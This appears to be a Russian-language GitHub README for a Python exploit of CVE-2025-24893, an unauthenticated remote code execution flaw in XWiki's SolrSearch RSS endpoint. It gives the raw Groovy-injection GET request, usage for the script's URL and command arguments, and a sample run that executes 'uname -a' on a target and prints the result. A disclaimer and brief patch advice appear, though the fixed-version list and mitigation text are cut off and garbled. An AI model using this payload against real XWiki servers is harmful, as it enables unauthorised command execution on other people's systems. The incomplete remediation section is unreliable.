b0ysie7e/cve-2025-24893Python-эксплойт для CVE-2025-24893, критическая неаутентифицированная RCE в XWiki Platform, позволяющая выполнение произвольного кода Groovy через специально созданный RSS-запрос к конечной точке SolrSearch.
CVE-2025-24893 — это критическая уязвимость удаленного выполнения кода (RCE) без аутентификации, затрагивающая XWiki Platform.
Эта ошибка позволяет любому гостевому пользователю внедрять и выполнять произвольный Groovy-код без аутентификации через специально сформированный RSS-запрос к конечной точке SolrSearch.
Это напрямую влияет на конфиденциальность, целостность и доступность уязвимой системы.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H⚠️ Отказ от ответственности:
Данный код предназначен строго для образовательных и исследовательских целей. Несанкционированное использование в системах без явного разрешения может быть нарушением закона. Автор не несет ответственности за неправомерное использование или вредоносную деятельность, связанную с этим инструментом.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("Hello from search text:42"){{/groovy}}{{/async}}
В этом разделе объясняется, как настроить и запустить Python-скрипт эксплойта для использования CVE-2025-24893.
❯ python3 CVE-2025-24893.py
usage: CVE-2025-24893.py [-h] -u URL -c COMMAND
CVE-2025-24893.py: error: the following arguments are required: -u/--url, -c/--command
❯ python3 CVE-2025-24893.py -u http://10.10.10.10:8080 -c 'uname -a'
[*] Sending payload to: http://10.10.10.10:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln("uname -a".execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[+] Command output 'uname -a':
Linux 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Для устранения уязвимости обновите XWiki до одной из следующих версий:
Если обновление невозможно немедленно, примените временную меру:
SolrSearchMacros.xml (находится в Main.SolrSearchMacros) примерно на строке 955.rawResponse с установленным типом содержимого application/xml.macros.vm на строке 2824.Ссылки: